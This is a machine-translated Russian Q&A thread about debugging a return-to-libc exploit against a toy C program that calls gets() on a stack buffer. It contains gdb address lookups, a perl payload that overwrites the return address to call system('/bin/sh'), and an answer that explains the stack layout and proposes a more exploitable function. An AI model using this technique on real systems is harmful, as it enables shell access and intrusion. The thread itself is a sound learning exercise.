вернуться в libc - проблема - PullRequest
       51

вернуться в libc - проблема

8 голосов
/ 17 февраля 2011

У меня проблемы с эксплойтом return-to-libc.Проблема в том, что ничего не происходит, но нет ошибки сегментации (и да, я фактически переполняю стек).

Это моя программа:

int main(int argc, char **argv) {
  char array[512];
  gets(array);
}

Я использую вместо вместоstrcopy, потому что мои адреса начинаются с 0x00, и strcpy считает, что это конец строки, поэтому я не могу его использовать.

Вот адреса, которые мне нужны:

$ gdb main core
(gdb) p system
$1 = {<text variable, no debug info>} 0x179680 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x16f6e0 <exit>
(gdb)  x/s 0xbffffe3f
0xbffffe3f:      "/bin/sh"

Когдапри вводе правильной последовательности это происходит:

eleanor@eleanor32:~/testing/root$ perl -e 'print "\x41"x516 . "\x80\x96\x17\x00" . "\xe0\xf6\x16\x00" . "\x3f\xfe\xff\xbf"' | ./main
eleanor@eleanor32:~/testing/root$

, поэтому ничего.

Но если я введу 520 'A (0x41), то EIP будет переполнен' A '.Если есть 516 'A', ничего не происходит, но EIP содержит системный адрес, следующий за адресом выхода, после указателя / bin / sh.

Почему ничего не произошло?

1 Ответ

3 голосов
/ 18 февраля 2011

Давайте сделаем несколько асм раньше:

Код

$ cat gets.c
int main(int argc, char **argv) {
  char array[512];
  gets(array);
}

Асм

$ gcc gets.c -o getsA.s -S -fverbose-asm
$ cat gets.s
    ....
.globl main
        .type   main, @function
main:
        leal    4(%esp), %ecx   #,
        andl    $-16, %esp      #,
        pushl   -4(%ecx)        #  (1)
        pushl   %ebp            #  2
        movl    %esp, %ebp      #,
        pushl   %ecx            #  3
        subl    $516, %esp      #,
        leal    -516(%ebp), %eax        #, tmp60
        movl    %eax, (%esp)    # tmp60,
        call    gets            #  << break here  
        addl    $516, %esp      #,  << or here to see the stack picture
        popl    %ecx            #  (3')
        popl    %ebp            #  (2')
        leal    -4(%ecx), %esp  #  (1')
        ret
        .size   main, .-main

Пролог и эпилог (они с кодом выравнивания) подробно описаны здесь Понимание назначения некоторых операторов сборки

Макет стека:

(char)  array[0]
...
(char)  array[511]
(32bit) $ecx - pushed by 3 - it was the address on the stack of the eip which main will return to
(32bit) $ebp - pushed by 2
(32bit) $esp - pushed by 1 - change the $esp to the original value

Итак, если вы хотите изменить адрес возврата main, вам не следует менять адрес в стеке, который будет использоваться ret, но также повторять значения, сохраненные в стеке, с помощью (1), (2) (3) толкает. Или вы можете встроить новый адрес возврата в сам массив и перезаписать только (3) новым адресом стека + 4. (используйте 516-байтовую строку)

Я предлагаю вам использовать этот исходный код, чтобы взломать его:

$ cat getss.c
f()
{
  char array[512];
  gets(array);
}
int main(int argc, char **argv) {
    f();
}

потому что у f нет проблем с перестройкой стека

.globl f
        .type   f, @function
f:
        pushl   %ebp    #
        movl    %esp, %ebp      #,
        subl    $520, %esp      #,
        leal    -512(%ebp), %eax        #, tmp59
        movl    %eax, (%esp)    # tmp59,
        call    gets    #
        leave
        ret
        .size   f, .-f

Макет стека для f():

(char)  array[0]
...
(char)  array[511]
(32bit) old ebp
(32bit) return address

Точка останова при команде ret в f () с 520 байтами "A"

(gdb) x/w $sp
0xXXXXXa3c:     0x41414141
...